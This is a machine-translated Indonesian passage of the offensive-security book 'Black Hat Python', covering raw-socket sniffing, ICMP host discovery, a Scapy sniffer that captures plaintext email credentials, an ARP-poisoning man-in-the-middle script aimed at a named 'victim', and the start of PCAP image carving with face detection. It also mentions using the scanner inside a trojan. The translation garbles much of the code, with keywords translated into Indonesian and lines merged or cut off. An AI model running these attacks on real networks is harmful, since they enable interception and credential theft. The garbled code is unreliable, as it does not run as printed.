biner memerlukan upaya. Namun untuk banyak kasus (seperti membaca pesan ICMP),
pengaturannya sangat mudah: setiap bagian dari pesan ICMP adalah kelipatan 8 bit,
dan karakter format yang disediakan oleh modul struct adalah kelipatan 8 bit, jadi tidak ada
perlu membagi satu byte menjadi nybble terpisah. Pada pesan Echo Reply ICMP yang
ditunjukkan pada Gambar 3-2, Anda dapat melihat bahwa setiap parameter header ICMP
dapat didefinisikan dalam sebuah struct dengan salah satu huruf format yang ada
(BBHHH).
0 4 8 12 16 20 24 28 32
Data opsional
42 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Cara cepat untuk menguraikan pesan ini adalah dengan menetapkan 1 byte ke dalamnya
dua atribut pertama dan 2 byte ke tiga atribut berikutnya:
kelas ICMP:
def __init__(self, buff): header =
struct.unpack('<BBHHH', buff) self.type = header[0]
self.code = header[1] self.sum
= header[2] self. id = tajuk[3]
diri.seq = tajuk[4]
Baca dokumentasi struct di (https:// docs.python.org/ 3/ library/ struct .html) untuk detail
lengkap tentang penggunaan modul ini.
Anda dapat menggunakan modul ctypes atau modul struct untuk membaca dan
mengurai data biner. Apa pun pendekatan yang Anda ambil, Anda akan membuat instance kelas
seperti ini:
Dalam contoh ini, Anda membuat instance kelas IP dengan data paket Anda di
penggemar variabel .
terapkan rutinitas decoding IP yang baru saja kita buat ke dalam file bernama
sniffer_ip_header_decode.py, seperti yang ditunjukkan di sini.
IP kelas 1:
def __init__(self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
self.ver = header[0] >> 4
self.ihl = header[0] & 0xF
self.tos = header[1]
self.len = header[2]
self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
diri. jumlah = header[7]
self.src = header[8]
self.dst = header[9]
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 # alamat IP yang dapat dibaca manusia
self.src_address = ipaddress.ip_address(self.src) self.dst_address =
ipaddress.ip_address(self.dst)
socket.IPPROTO_ICMP
sniffer = soket.socket(socket.AF_INET,
soket.SOCK_RAW, soket_protokol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, soket.IP_HDRINCL, 1)
if os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
coba:
selagi Benar: #
baca paket 3
raw_buffer = sniffer.recvfrom(65535)[0]
# membuat header IP dari 20 byte pertama 4 ip_header =
IP(raw_buffer[0:20])
# cetak protokol dan host yang terdeteksi 5 print('Protokol:
%s %s -> %s' % (ip_header.protocol, ip_header.src_address,
ip_header.dst_address))
if __name__ == '__main__': if
len(sys.argv) == 2: host =
sys.argv[1] else: host =
'192.168.1.203' sniff(host)
44 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
cocok dengan struktur header. Kami melakukan beberapa pekerjaan rumah tangga untuk
menghasilkan beberapa keluaran yang dapat dibaca manusia yang menunjukkan protokol
yang digunakan dan alamat IP yang terlibat dalam koneksi 2. Dengan struktur IP baru kami ,
kami sekarang menulis logika untuk terus membaca paket dan menguraikan informasinya. Kami
membaca paket 3 dan kemudian meneruskan 20 byte pertama 4 untuk menginisialisasi struktur
IP kami. Selanjutnya kita tinggal mencetak informasi yang sudah kita tangkap 5. Mari kita coba.
Menendang Ban
Mari kita uji kode sebelumnya untuk melihat jenis informasi apa yang kita ekstrak dari paket
mentah yang dikirim. Kami sangat menyarankan Anda melakukan tes ini dari mesin Windows
Anda, karena Anda akan dapat melihat TCP, UDP, dan ICMP, yang memungkinkan Anda
melakukan beberapa pengujian yang cukup rapi (misalnya membuka browser). Jika Anda terbatas
pada Linux, lakukan tes ping sebelumnya untuk melihatnya beraksi.
python sniffer_ip_header_decode.py
Sekarang, karena Windows cukup cerewet, Anda mungkin akan segera melihat
hasilnya. Penulis menguji skrip ini dengan membuka Internet Explorer dan membuka
www.google.com, dan inilah output dari skrip kami:
Karena kami tidak melakukan pemeriksaan mendalam terhadap paket-paket ini, kami hanya
dapat menebak apa yang ditunjukkan oleh aliran ini. Dugaan kami adalah bahwa beberapa paket
UDP pertama adalah kueri Sistem Nama Domain (DNS) untuk menentukan di mana google.com
berada, dan sesi TCP berikutnya adalah mesin kami yang benar-benar menghubungkan dan
mengunduh konten dari server web mereka.
Untuk melakukan tes yang sama di Linux, kita dapat melakukan ping ke google.com, dan
hasilnya akan terlihat seperti ini:
Anda sudah bisa melihat batasannya: kami hanya melihat responnya dan hanya untuk
protokol ICMP. Namun karena kami sengaja membuat pemindai penemuan host, hal ini sepenuhnya
dapat diterima. Kami sekarang akan menerapkan teknik yang sama yang kami gunakan untuk
memecahkan kode header IP untuk memecahkan kode pesan ICMP.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Menguraikan ICMP
Sekarang kita dapat sepenuhnya mendekode lapisan IP dari setiap paket yang
diendus, kita harus mampu mendekode respons ICMP yang akan diperoleh pemindai
dari pengiriman datagram UDP ke port tertutup. Isi pesan ICMP bisa sangat
bervariasi, namun setiap pesan berisi tiga elemen yang tetap konsisten: bidang
jenis, kode, dan checksum. Bidang tipe dan kode memberi tahu host penerima jenis
pesan ICMP apa yang datang, yang kemudian menentukan cara mendekode pesan
tersebut dengan benar.
Untuk tujuan pemindai kami, kami mencari nilai tipe 3 dan nilai kode 3. Ini sesuai
dengan kelas pesan ICMP Destination Unreachable , dan nilai kode 3 menunjukkan
bahwa Port Unreachable
kesalahan telah terjadi. Lihat Gambar 3-3 untuk diagram pesan ICMP Destination
Unreachable .
Tidak digunakan
MTU lompatan berikutnya
Seperti yang Anda lihat, 8 bit pertama adalah tipenya dan 8 bit kedua berisi
kode ICMP kita. Satu hal yang menarik untuk diperhatikan adalah ketika sebuah
host mengirimkan salah satu pesan ICMP ini, pesan tersebut sebenarnya
menyertakan header IP dari pesan asal yang menghasilkan respons. Kita juga dapat
melihat bahwa kita akan memeriksa ulang terhadap 8 byte datagram asli yang dikirim
untuk memastikan pemindai kita menghasilkan respons ICMP. Untuk melakukannya,
kami cukup memotong 8 byte terakhir dari buffer yang diterima untuk mengeluarkan
string ajaib yang dikirimkan pemindai kami.
Mari tambahkan beberapa kode lagi ke sniffer kita sebelumnya untuk menyertakan
kemampuan memecahkan kode paket ICMP. Mari simpan file kita sebelumnya sebagai sniffer_with_icmp.py
dan tambahkan kode berikut:
impor alamat IP
impor mereka
soket impor
impor struktur
sistem impor
IP kelas:
--menggunting--
ICMP kelas 1:
def __init__(diri sendiri, penggemar):
46 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
--menggunting--
ip_header = IP(buffer_mentah[0:20])
#kalau itu ICMP, kami menginginkannya
2 jika ip_header.protocol == "ICMP":
print('Protokol: %s %s -> %s' % (ip_header.protocol,
ip_header.src_address, ip_header.dst_address))
print(f'Versi: {ip_header.ver}')
print(f'Panjang Header: {ip_header.ihl} TTL: {ip_header.ttl}')
Potongan kode sederhana ini membuat struktur ICMP 1 di bawah struktur IP yang ada . Ketika
loop penerima paket utama menentukan bahwa kita telah menerima paket ICMP 2, kita menghitung
offset dalam paket mentah tempat badan ICMP berada 3 dan kemudian membuat buffer 4 dan
mencetak bidang jenis dan kode . Perhitungan panjangnya didasarkan pada bidang ihl header IP ,
yang menunjukkan jumlah kata 32-bit (potongan 4-byte) yang terdapat dalam header IP. Jadi dengan
mengalikan bidang ini dengan 4, kita mengetahui ukuran header IP dan kapan lapisan jaringan
berikutnya (dalam hal ini ICMP) dimulai.
Jika kita dengan cepat menjalankan kode ini dengan tes ping biasa, output kita seharusnya
sekarang menjadi sedikit berbeda:
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
# subnet ke target
SUBNET = '192.168.1.0/24' # string
ajaib kita akan memeriksa tanggapan ICMP untuk MESSAGE =
'PYTHONRULES!' 1
IP kelas:
--menggunting--
kelas ICMP: --
snip--
Pemindai kelas: 3
def __init__(self, host): self.host =
host if os.name == 'nt':
socket_protocol =
socket.IPPROTO_IP else: socket_protocol =
socket.IPPROTO_ICMP
self.socket.setsockopt(socket.IPPROTO_IP, soket.IP_HDRINCL, 1)
# membaca paket
48 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
jika ipaddress.ip_address(ip_header.src_address) di 5
ipaddress.IPv4Network(SUBNET):
# menangani CTRL-C
kecuali KeyboardInterrupt: 8 if os.name
== 'nt':
self.socket.ioctl(soket.SIO_RCVALL, soket.RCVALL_OFF)
if __name__ == '__main__': if
len(sys.argv) == 2: host =
sys.argv[1] else: host =
'192.168.1.203' s = Pemindai(host)
time.sleep(5) t =
Potongan kode terakhir ini seharusnya cukup mudah untuk dipahami. Kami mendefinisikan
tanda tangan string sederhana 1 sehingga kami dapat menguji apakah responsnya berasal dari
paket UDP yang kami kirimkan aslinya. Fungsi udp_sender 2 kita hanya mengambil subnet yang
kita tentukan di bagian atas skrip kita, mengulangi semua alamat IP di subnet itu, dan
menembakkan datagram UDP ke subnet tersebut.
Kami kemudian mendefinisikan kelas Pemindai 3. Untuk menginisialisasinya, kami
meneruskannya ke host sebagai argumen. Saat inisialisasi, kami membuat soket, mengaktifkan
mode promiscuous jika menjalankan Windows, dan menjadikan soket sebagai atribut kelas Pemindai .
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Metode sniff 4 mengendus jaringan, mengikuti langkah yang sama seperti pada contoh
sebelumnya, hanya saja kali ini metode ini menyimpan catatan host mana yang aktif. Jika kami
mendeteksi pesan ICMP yang diantisipasi, pertama-tama kami memeriksa untuk memastikan
bahwa respons ICMP berasal dari subnet 5 target kami.
Kami kemudian melakukan pemeriksaan terakhir untuk memastikan bahwa respons ICMP
memiliki string ajaib kami di dalamnya 6. Jika semua pemeriksaan ini berhasil, kami mencetak
alamat IP host tempat pesan ICMP berasal 7. Saat kami mengakhiri proses sniffing dengan
menggunakan CTRL-C, kita menangani interupsi keyboard 8.
Artinya, kami mematikan mode promiscuous jika di Windows dan mencetak daftar host langsung
yang diurutkan.
Blok __main__ melakukan pekerjaan pengaturan: ia menciptakan objek Scanner , tidur
hanya beberapa detik, dan kemudian, sebelum memanggil sniff
metode, memunculkan udp_sender di thread terpisah 9 untuk memastikan bahwa kami tidak
mengganggu kemampuan kami untuk mengendus respons. Mari kita mencobanya.
Menendang Ban
Sekarang mari kita ambil pemindai kita dan menjalankannya di jaringan lokal. Anda dapat
menggunakan Linux atau Windows untuk ini, karena hasilnya akan sama. Dalam kasus penulis,
alamat IP mesin lokal tempat kami berada adalah 192.168.0.187, jadi kami menyetel pemindai
kami agar mencapai 192.168.0.0/24. Jika keluarannya terlalu berisik saat Anda menjalankan
pemindai, cukup beri komentar pada semua pernyataan cetak kecuali pernyataan terakhir yang
memberi tahu Anda apa yang ditanggapi oleh host.
MODUL IPADDRESS
Pemindai kami akan menggunakan perpustakaan yang disebut alamat ip, yang memungkinkan
kami memasukkan subnet mask seperti 192.168.0.0/24 dan meminta pemindai kami
menanganinya dengan tepat.
Modul alamat ip membuat bekerja dengan subnet dan pengalamatan menjadi sangat
mudah. Misalnya, Anda dapat menjalankan tes sederhana seperti berikut ini menggunakan objek
Ipv4Network :
ip_address = "192.168.112.3"
Atau Anda dapat membuat iterator sederhana jika Anda ingin mengirim paket ke seluruh
jaringan:
untuk ip di Ipv4Network("192.168.112.1/24"):
s = soket.soket()
s.koneksi((ip, 25))
# kirim paket email
50 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Ini akan sangat menyederhanakan kehidupan pemrograman Anda ketika berhadapan dengan keseluruhan
jaringan pada satu waktu, dan ini cocok untuk alat penemuan host kami:
pemindai python.exe.py
Tuan Rumah: 192.168.0.1
Tuan Rumah: 192.168.0.190
Tuan Rumah: 192.168.0.192
Tuan Rumah: 192.168.0.195
Untuk scan cepat seperti yang kami lakukan, hanya butuh beberapa detik untuk mendapatkan
hasilnya. Dengan melakukan referensi silang alamat IP ini dengan tabel DHCP di router rumah,
kami dapat memverifikasi bahwa hasilnya akurat.
Anda dapat dengan mudah memperluas apa yang telah Anda pelajari dalam bab ini untuk
memecahkan kode paket TCP dan UDP serta membangun peralatan tambahan di sekitar pemindai.
Pemindai ini juga berguna untuk kerangka trojan yang akan kita mulai buat di Bab 7. Hal ini akan
memungkinkan trojan yang dikerahkan untuk memindai jaringan lokal untuk mencari target tambahan.
Sekarang Anda telah mengetahui dasar-dasar cara kerja jaringan pada tingkat tinggi dan rendah
level, mari jelajahi pustaka Python yang sangat matang bernama Scapy.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
4
MEMILIKI JARINGAN
DENGAN SCAPY
mencapai apa yang dapat Anda lakukan hanya dengan satu atau dua baris
Scapy. Scapy sangat kuat dan fleksibel, dan kemungkinannya hampir tidak
terbatas. Kita akan mengetahuinya dengan mengendus lalu lintas untuk mencuri
kredensial email teks biasa dan kemudian ARP meracuni mesin target di jaringan
sehingga kita dapat mengendus lalu lintasnya. Kami akan menyelesaikan semuanya
dengan memperluas pemrosesan PCAP Scapy untuk mengukir gambar dari lalu
lintas HTTP dan kemudian melakukan deteksi wajah pada gambar tersebut
untuk menentukan apakah ada manusia di dalam gambar.
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami menyarankan Anda menggunakan Scapy pada sistem Linux, karena Scapy
dirancang untuk bekerja dengan mempertimbangkan Linux. Versi terbaru Scapy
mendukung Windows,1 tetapi untuk tujuan bab ini kami berasumsi Anda menggunakan
mesin virtual (VM) Kali dengan instalasi Scapy yang berfungsi penuh. Jika Anda tidak
memiliki Scapy, kunjungi https:// scapy.net/
untuk menginstalnya.
Sekarang, misalkan Anda telah menyusup ke jaringan area lokal (LAN) target.
Anda dapat mengendus lalu lintas di jaringan lokal dengan teknik yang akan Anda
pelajari di bab ini.
Untuk mengenal Scapy, mari kita mulai dengan membuat skeleton sniffer yang
cukup membedah dan membuang paket-paket tersebut. Fungsi sniff yang dinamai dengan
tepat terlihat seperti berikut:
sniff(filter="",iface="any",prn=fungsi,hitung=N)
1 def packet_callback(paket):
cetak(paket.tampilkan())
54 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
def utama():
2 mengendus(prn=packet_callback, hitungan=1)
Kita mulai dengan mendefinisikan fungsi panggilan balik yang akan menerima setiap
paket sniffed 1 dan kemudian memberitahu Scapy untuk mulai mengendus 2 pada semua
antarmuka tanpa pemfilteran. Sekarang mari kita jalankan skripnya, dan Anda akan melihat
keluaran seperti berikut:
aa =0
tc =0
rd =1
hari =0
Dengan =0
=0
=0
kode cd iklan = oke
qdhitung = 1
jumlah = 0
nhitung = 0
jumlah = 0
\qd \
|###[ Catatan Pertanyaan DNS ]###
| nama q | = 'vortex.data.microsoft.com.'
tipe q | = SEBUAH
= DALAM
kelas q
sebuah = Tidak ada
ns = Tidak ada
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Betapa mudahnya hal itu! Kita bisa melihatnya ketika paket pertama itu
diterima di jaringan, fungsi panggilan balik menggunakan fungsi bawaan packet.show()
untuk menampilkan isi paket dan membedah beberapa informasi protokol. Menggunakan
show() adalah cara terbaik untuk men-debug skrip seiring berjalannya waktu untuk
memastikan Anda mendapatkan keluaran yang Anda inginkan.
Sekarang setelah kita menjalankan sniffer dasar, mari terapkan filter dan tambahkan
beberapa logika ke fungsi panggilan balik untuk menghilangkan string autentikasi terkait
email.
Pada contoh berikut kita akan menggunakan filter paket sehingga sniffer hanya
menampilkan paket yang kita minati. Kita akan menggunakan sintaks BPF, juga
disebut gaya Wireshark, untuk melakukannya. Anda akan menemukan sintaksis ini
dengan alat seperti tcpdump, serta filter pengambilan paket yang digunakan dengan Wireshark.
Mari kita bahas sintaks dasar filter BPF. Ada tiga jenis informasi yang dapat Anda
gunakan dalam filter Anda. Anda dapat menentukan deskriptor (seperti host, antarmuka,
atau port tertentu), arah arus lalu lintas, dan protokol, seperti yang ditunjukkan pada
Tabel 4-1. Anda dapat memasukkan atau menghilangkan jenis, arah, dan protokol,
tergantung pada apa yang ingin Anda lihat dalam paket yang diendus.
def utama():
# jalankan sniffernya
4 sniff(filter='tcp port 110 atau tcp port 25 atau tcp port 143',
prn=packet_callback, toko=0)
56 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Hal-hal yang cukup mudah di sini. Kami mengubah fungsi sniff menjadi menambahkan
filter BPF yang hanya mencakup lalu lintas yang ditujukan untuk port email umum 110 (POP3),
143 (IMAP), dan 25 (SMTP) 4. Kami juga menggunakan parameter baru yang disebut store,
yang jika disetel ke 0, memastikan bahwa Scapy tidak tidak menyimpan paket di memori.
Sebaiknya gunakan parameter ini jika Anda ingin membiarkan sniffer jangka panjang tetap
berjalan, karena Anda tidak akan menghabiskan banyak RAM. Saat fungsi panggilan balik
dipanggil, kami memeriksa untuk memastikan bahwa ia memiliki muatan data 1 dan apakah
muatan tersebut berisi perintah email USER atau PASS 2. Jika kami mendeteksi string
autentikasi, kami mencetak server tujuan pengirimannya dan byte data sebenarnya dari paket 3.
Menendang Ban
Berikut adalah beberapa contoh keluaran dari akun email tiruan yang penulis coba
sambungkan ke klien email:
Anda dapat melihat bahwa klien email kami mencoba masuk ke server di 192.168.1.207
dan mengirimkan kredensial teks biasa melalui kabel. Ini adalah contoh yang sangat sederhana
tentang bagaimana Anda dapat mengambil skrip sniffing Scapy dan mengubahnya menjadi alat
yang berguna selama tes penetrasi. Skrip ini berfungsi untuk lalu lintas email karena kami
merancang filter BPF untuk fokus pada port terkait email. Anda dapat mengubah filter itu untuk
memantau lalu lintas lainnya; misalnya, ubah ke tcp port 21 untuk memperhatikan koneksi dan
kredensial FTP.
Mengendus lalu lintas Anda sendiri mungkin menyenangkan, tetapi lebih baik
mengendusnya bersama teman; mari kita lihat bagaimana Anda dapat melakukan serangan
keracunan ARP untuk mengendus lalu lintas mesin target di jaringan yang sama.
Sekarang kita tahu apa yang perlu kita lakukan, mari kita praktikkan. Saat penulis
mengujinya, kami menyerang mesin Mac asli dari Kali VM.
Kami juga telah menguji kode ini pada berbagai perangkat seluler yang terhubung ke titik
akses nirkabel, dan hasilnya berfungsi dengan baik. Hal pertama yang akan kita lakukan adalah
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
periksa cache ARP pada mesin Mac target sehingga kita dapat melihat serangan tersebut beraksi di
kemudian hari. Periksa hal berikut untuk mengetahui cara memeriksa cache ARP di Mac Anda:
Perintah ifconfig menampilkan konfigurasi jaringan untuk antarmuka yang ditentukan (di
sini en0 ) atau untuk semua antarmuka jika Anda tidak menentukannya. Outputnya menunjukkan
bahwa alamat inet (IPv4) untuk perangkat tersebut adalah 192.168.1.193. Juga tercantum
alamat MAC (38:f9:d3:63:5c:48, diberi label sebagai ether) dan beberapa alamat IPv6. Keracunan
ARP hanya berfungsi untuk alamat IPv4, jadi kami akan mengabaikan alamat IPv6.
Sekarang mari kita lihat apa yang dimiliki Mac dalam cache alamat ARP-nya. Pengikut
menunjukkan pendapatnya tentang alamat MAC untuk tetangganya di jaringan:
Kita dapat melihat bahwa alamat IP mesin Kali milik penyerang 1 adalah 192.168.1.203 dan
alamat MAC-nya adalah a4:5e:60:ee:17:5d. Gateway menghubungkan mesin penyerang dan
korban ke internet. Alamat IP 2-nya berada di 192.168.1.254 dan entri cache ARP yang terkait
memiliki alamat MAC 20:e5:64:c0:76:d0. Kami akan mencatat nilai-nilai ini karena kami dapat
melihat cache ARP saat serangan terjadi dan melihat bahwa kami telah mengubah alamat MAC
gateway yang terdaftar. Sekarang kita mengetahui gateway dan alamat IP target, mari kita mulai
mengkode skrip keracunan ARP. Buka file Python baru, beri nama arper.py, dan masukkan kode
berikut.
Kami akan mulai dengan mematikan kerangka file untuk memberi Anda gambaran tentang
bagaimana kami akan membuat racunnya:
1 def get_mac(targetip):
lulus
58 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
kelas Arper:
def __init__(diri, korban, gerbang, antarmuka='en0'):
lulus
def lari(diri):
lulus
Seperti yang Anda lihat, kami akan mendefinisikan fungsi pembantu untuk
mendapatkan alamat MAC untuk mesin mana pun 1 dan kelas Arper untuk meracuni 2,
mengendus 3, dan memulihkan 4 pengaturan jaringan. Mari kita isi setiap bagian, dimulai
dengan fungsi get_mac , yang mengembalikan alamat MAC untuk alamat IP tertentu.
Kami membutuhkan alamat MAC korban dan gateway.
def get_mac(targettip):
1 paket = Eter(dst='ff:ff:ff:ff:ff:ff')/ARP(op="siapa yang memiliki", pdst=targetip)
2 repetisi, _ = srp(paket, batas waktu=2, coba lagi=10, verbose=Salah)
untuk _, r sebagai tanggapan:
kembalikan r[Eter].src
kembali Tidak ada
kelas Arper():
1 def __init__(diri, korban, gerbang, antarmuka='en0'):
diri.korban = korban
self.victimmac = get_mac(korban)
mandiri.gateway = gerbang
mandiri.gatewaymac = get_mac(gateway)
self.interface = antarmuka
conf.iface = antarmuka
conf.kata kerja = 0
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 print(f'Inisialisasi {interface}:')
print(f'Gateway ({gateway}) ada di {self.gatewaymac}.')
print(f'Korban ({victim}) ada di {self.victimmac}.') print('-'*30)
Kami menginisialisasi kelas dengan IP korban dan gateway dan menentukan antarmuka
yang akan digunakan (en0 adalah default) 1. Dengan info ini, kami mengisi variabel objek
interface, korban, korbanmac, gateway, dan gatewaymac, mencetak nilai ke konsol 2.
Di dalam kelas Arper kita menulis fungsi run , yang merupakan titik masuk untuk serangan:
def run(self): 1
self.poison_thread = Proses(target=self.poison)
mandiri.poison_thread.start()
2 self.sniff_thread = Proses(target=self.sniff)
mandiri.sniff_thread.start()
Metode run melakukan pekerjaan utama objek Arper . Ini mengatur dan menjalankan
dua proses: satu untuk meracuni cache ARP 1 dan yang lainnya sehingga kita dapat
melihat serangan yang sedang berlangsung dengan mengendus lalu lintas jaringan 2.
Metode racun membuat paket beracun dan mengirimkannya ke korban dan gateway:
def racun(diri): 1
racun_korban = ARP()
racun_korban.op = 2
racun_korban.psrc = diri.gateway
racun_korban.pdst = diri.korban
racun_korban.hwdst = diri.korbanmac
print(f'ip src: {poison_victim.psrc} ') print(f'ip
dst: {poison_victim.pdst}') print(f'mac dst:
{poison_victim.hwdst}') print(f'mac src:
{poison_victim.hwsrc}')
print(poison_victim.summary( ))
print('-'*30) 2
racun_gateway = ARP()
racun_gateway.op = 2
racun_gateway.psrc = diri.korban
racun_gateway.pdst = diri.gateway
racun_gateway.hwdst = diri.gatewaymac
sys.stdout.write('.')
sys.stdout.flush()
60 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
mencoba:
kirim(racun_korban)
kirim(pintu_racun)
4 kecuali Interupsi Keyboard:
mandiri.pulihkan()
sys.keluar()
kalau tidak:
waktu.tidur(2)
Metode racun menyiapkan data yang akan kita gunakan untuk meracuni korban
dan gateway. Pertama, kita membuat paket ARP beracun yang ditujukan untuk korban
1. Demikian pula, kita membuat paket ARP beracun untuk gateway 2. Kita meracuni
gateway dengan mengirimkannya alamat IP korban tetapi alamat MAC penyerang.
Demikian pula, kami meracuni korban dengan mengirimkan alamat IP gateway tetapi alamat
MAC penyerang. Kami mencetak semua informasi ini ke konsol sehingga kami dapat yakin
dengan tujuan dan muatan paket kami.
Selanjutnya, kami mulai mengirimkan paket beracun ke tujuannya dalam waktu singkat
loop tak terbatas untuk memastikan bahwa entri cache ARP masing-masing tetap
diracuni selama serangan 3. Loop akan berlanjut sampai Anda menekan CTRL-C
(KeyboardInterrupt) 4, dalam hal ini kami mengembalikan semuanya ke normal (dengan
mengirimkan informasi yang benar ke korban dan pintu gerbang, membatalkan serangan
keracunan kita).
Untuk melihat dan mencatat serangan yang terjadi, kami mengendus lalu lintas jaringan dengan
metode sniff :
Metode sniff tidur selama lima detik 1 sebelum mulai mengendus untuk
memberikan waktu pada thread keracunan untuk mulai bekerja. Ini mengendus sejumlah
paket (100 secara default) 3, memfilter paket yang memiliki IP korban 2. Setelah kami
menangkap paket, kami menulisnya ke file bernama arper.pcap 4, mengembalikan tabel
ARP ke aslinya nilai asli 5, dan hentikan thread racun.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
pdst=diri.korban,
hwdst='ff:ff:ff:ff:ff:ff'), hitung=5) 2
kirim(ARP( op=2,
psrc=diri.korban,
hwsrc=diri.korbanmac, pdst=
self.gateway,
hwdst='ff:ff:ff:ff:ff:ff'), hitungan=5)
Metode pemulihan dapat dipanggil baik dari metode racun (jika Anda menekan
CTRL-C) atau metode sniff (ketika jumlah paket yang ditentukan telah ditangkap). Ia
mengirimkan nilai asli untuk IP gateway dan alamat MAC ke korban 1, dan mengirimkan
nilai asli untuk IP dan MAC korban ke gateway 2.
Sebelum memulai ,
pertama-tama kita perlu memberi tahu mesin host lokal bahwa kita dapat meneruskan
paket ke gateway dan alamat IP target. Jika Anda menggunakan Kali VM, masukkan
perintah berikut ke terminal Anda:
Sekarang kita sudah memiliki penerusan IP, mari jalankan skrip dan periksa
cache ARP mesin target. Dari mesin penyerang Anda, jalankan perintah berikut
(sebagai root):
62 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
......Dapatkan paketnya
Memulihkan tabel ARP...
Selesai.
Luar biasa! Tidak ada kesalahan atau keanehan lainnya. Sekarang mari kita validasi serangannya
pada mesin sasaran. Saat skrip sedang dalam proses menangkap 100 paket, kami
menampilkan tabel ARP pada perangkat korban dengan arp
memerintah:
Anda sekarang dapat melihat bahwa korban yang malang sekarang memiliki cache
ARP yang diracuni, sedangkan gateway sekarang memiliki alamat MAC yang sama dengan
komputer penyerang. Anda dapat melihat dengan jelas pada entri di atas gateway yang
saya serang dari 192.168.1.203. Ketika serangan selesai menangkap paket, Anda akan
melihat file arper.pcap di direktori yang sama dengan skrip Anda.
Tentu saja Anda dapat melakukan hal-hal seperti memaksa komputer target untuk mem-proxy
semua lalu lintasnya melalui Burp lokal atau melakukan sejumlah hal buruk lainnya. Anda
mungkin ingin menyimpan file pcap tersebut untuk bagian pemrosesan PCAP selanjutnya—
Anda tidak pernah tahu apa yang mungkin Anda temukan!
Pemrosesan PCAP
Wireshark dan alat lain seperti Network Miner sangat bagus untuk menjelajahi file
pengambilan paket secara interaktif, tetapi akan ada saatnya Anda ingin membagi file pcap
menggunakan Python dan Scapy. Beberapa kasus penggunaan yang hebat menghasilkan
kasus uji fuzzing berdasarkan lalu lintas jaringan yang ditangkap atau bahkan sesuatu
yang sederhana seperti memutar ulang lalu lintas yang telah Anda tangkap sebelumnya.
Kami akan mengambil cara yang sedikit berbeda dalam hal ini dan mencoba
membuat file gambar dari lalu lintas HTTP. Dengan file gambar ini, kita akan menggunakan
OpenCV,2 alat visi komputer, untuk mencoba mendeteksi gambar yang berisi wajah manusia
sehingga kita dapat mempersempit gambar yang mungkin menarik.
Anda dapat menggunakan skrip keracunan ARP sebelumnya untuk menghasilkan file pcap,
atau Anda dapat memperluas sniffer keracunan ARP untuk melakukan deteksi wajah pada
gambar saat target sedang menjelajah.
Contoh ini akan melakukan dua tugas terpisah: mengukir gambar dari lalu lintas HTTP
dan mendeteksi wajah dalam gambar tersebut. Untuk mengakomodasi hal ini, kami akan
membuat dua program sehingga Anda dapat memilih untuk menggunakannya secara
terpisah, bergantung pada tugas yang ada. Anda juga dapat menggunakan program secara
berurutan, seperti yang akan kita lakukan di sini. Program pertama, recapper.py, menganalisis
file pcap, menemukan gambar apa pun yang ada di aliran yang terdapat dalam file pcap,
dan menulis gambar tersebut ke disk. Program kedua, detector.py, menganalisis setiap file
gambar tersebut untuk menentukan apakah file tersebut berisi wajah. Jika ya, ia akan menulis
gambar baru ke disk, menambahkan kotak di sekeliling setiap wajah dalam gambar.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Mari kita mulai dengan memasukkan kode yang diperlukan untuk melakukan analisis
PCAP. Dalam kode berikut kita akan menggunakan Nametuple, struktur data Python dengan bidang
yang dapat diakses oleh pencarian atribut. Tupel standar memungkinkan Anda menyimpan rangkaian
nilai yang tidak dapat diubah; hampir seperti daftar, hanya saja Anda tidak dapat mengubah nilai tuple.
Tuple standar menggunakan indeks numerik untuk mengakses anggotanya:
Sebaliknya, tupel bernama berperilaku sama seperti tupel biasa, hanya saja ia
dapat mengakses kolom melalui namanya . Hal ini membuat kode lebih mudah dibaca
dan juga lebih hemat memori dibandingkan kamus.
Sintaks untuk membuat Nametuple memerlukan dua argumen: nama Tuple dan daftar nama field
yang dipisahkan spasi. Misalnya, Anda ingin membuat struktur data bernama Titik dengan dua
atribut: x dan y. Anda akan mendefinisikannya sebagai berikut:
Sekarang, daripada mengacu pada indeks tupel biasa, Anda dapat menggunakan
Response.header atau Response.payload, yang lebih mudah dipahami.
Mari gunakan informasi tersebut dalam contoh ini. Kami akan membaca file
pcap, menyusun kembali gambar apa pun yang ditransfer, dan menulis gambar ke disk.
Buka recapper.py dan masukkan kode berikut:
1 OUTDIR = '/root/Desktop/gambar'
PCAPS = '/root/Unduhan'
3 def get_header(muatan):
lulus
64 Bab 4
